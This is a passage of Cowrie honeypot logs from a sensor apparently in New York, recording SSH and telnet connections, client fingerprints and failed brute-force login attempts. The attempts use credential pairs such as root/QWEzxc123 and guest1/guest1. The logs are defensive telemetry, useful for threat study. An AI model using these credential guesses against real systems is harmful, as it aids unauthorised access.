":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:51.453463Z","src_ip":"129.121.102.3","session":"f653ebdcd94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEzxc123","message":"login attempt [root/QWEzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:51.598950Z","src_ip":"129.121.102.3","session":"f653ebdcd94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:48:52.628558Z","src_ip":"129.121.102.3","session":"f653ebdcd94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:00.526168Z","src_ip":"8.210.75.243","session":"fdc2e214a688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":42924,"dst_ip":"10.17.0.5","dst_port":22,"session":"168ba3718d18","protocol":"ssh","message":"New connection: 122.176.122.24:42924 (10.17.0.5:22) [session: 168ba3718d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:02.830251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:02.834487Z","src_ip":"122.176.122.24","session":"168ba3718d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:03.128517Z","src_ip":"122.176.122.24","session":"168ba3718d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wangsu@2024","message":"login attempt [root/Wangsu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:04.321583Z","src_ip":"122.176.122.24","session":"168ba3718d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:05.613200Z","src_ip":"122.176.122.24","session":"168ba3718d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":35380,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f982715293b","protocol":"ssh","message":"New connection: 87.106.29.151:35380 (10.17.0.5:22) [session: 4f982715293b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:08.107118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:08.112618Z","src_ip":"87.106.29.151","session":"4f982715293b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:08.205833Z","src_ip":"87.106.29.151","session":"4f982715293b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234","message":"login attempt [root/Aa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:08.613933Z","src_ip":"87.106.29.151","session":"4f982715293b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:09.710121Z","src_ip":"87.106.29.151","session":"4f982715293b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43524,"dst_ip":"10.17.0.5","dst_port":22,"session":"875a0af70741","protocol":"ssh","message":"New connection: 103.153.68.219:43524 (10.17.0.5:22) [session: 875a0af70741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:14.122983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:14.126688Z","src_ip":"103.153.68.219","session":"875a0af70741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:14.369038Z","src_ip":"103.153.68.219","session":"875a0af70741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtheyxbr","message":"login attempt [root/dtheyxbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:15.097182Z","src_ip":"103.153.68.219","session":"875a0af70741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:16.341704Z","src_ip":"103.153.68.219","session":"875a0af70741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43264,"dst_ip":"159.203.135.109","dst_port":23,"session":"9830e06f38a8","protocol":"telnet","message":"New connection: 170.64.224.25:43264 (159.203.135.109:23) [session: 9830e06f38a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:17.293998Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":52156,"dst_ip":"159.203.135.109","dst_port":22,"session":"5431eef23668","protocol":"ssh","message":"New connection: 103.199.16.90:52156 (159.203.135.109:22) [session: 5431eef23668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:18.319534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:18.323546Z","src_ip":"103.199.16.90","session":"5431eef23668","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:18.555746Z","src_ip":"103.199.16.90","session":"5431eef23668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"goose","password":"goose123","message":"login attempt [goose/goose123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:19.490508Z","src_ip":"103.199.16.90","session":"5431eef23668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:20.725824Z","src_ip":"103.199.16.90","session":"5431eef23668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":56804,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6941c68f42d","protocol":"ssh","message":"New connection: 45.94.68.69:56804 (159.203.135.109:22) [session: b6941c68f42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:25.467106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:25.470529Z","src_ip":"45.94.68.69","session":"b6941c68f42d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:25.679677Z","src_ip":"45.94.68.69","session":"b6941c68f42d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:26.551819Z","src_ip":"45.94.68.69","session":"b6941c68f42d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:27.764924Z","src_ip":"45.94.68.69","session":"b6941c68f42d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":37302,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c36a85d108","protocol":"ssh","message":"New connection: 139.59.208.49:37302 (10.17.0.5:22) [session: a8c36a85d108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:28.694577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:28.698864Z","src_ip":"139.59.208.49","session":"a8c36a85d108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:28.780335Z","src_ip":"139.59.208.49","session":"a8c36a85d108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mi123456","message":"login attempt [root/mi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:29.141295Z","src_ip":"139.59.208.49","session":"a8c36a85d108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:30.226110Z","src_ip":"139.59.208.49","session":"a8c36a85d108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39558,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9261643a65","protocol":"telnet","message":"New connection: 170.64.224.25:39558 (159.203.135.109:23) [session: ac9261643a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:30.885276Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b3fc3e6581f","protocol":"ssh","message":"New connection: 164.92.161.148:44468 (10.17.0.5:22) [session: 9b3fc3e6581f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:31.534053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:31.537628Z","src_ip":"164.92.161.148","session":"9b3fc3e6581f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:31.624653Z","src_ip":"164.92.161.148","session":"9b3fc3e6581f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mi123456","message":"login attempt [root/mi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:31.983702Z","src_ip":"164.92.161.148","session":"9b3fc3e6581f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40694,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd155a68c6be","protocol":"ssh","message":"New connection: 8.210.75.243:40694 (10.17.0.5:22) [session: bd155a68c6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:32.389822Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:33.067375Z","src_ip":"164.92.161.148","session":"9b3fc3e6581f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:33.998082Z","src_ip":"8.210.75.243","session":"bd155a68c6be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":33316,"dst_ip":"10.17.0.5","dst_port":22,"session":"9664f6753ad0","protocol":"ssh","message":"New connection: 152.200.205.179:33316 (10.17.0.5:22) [session: 9664f6753ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:40.606610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:40.609500Z","src_ip":"152.200.205.179","session":"9664f6753ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:49:40.701451Z","src_ip":"152.200.205.179","session":"9664f6753ad0","protocol":"ssh"}
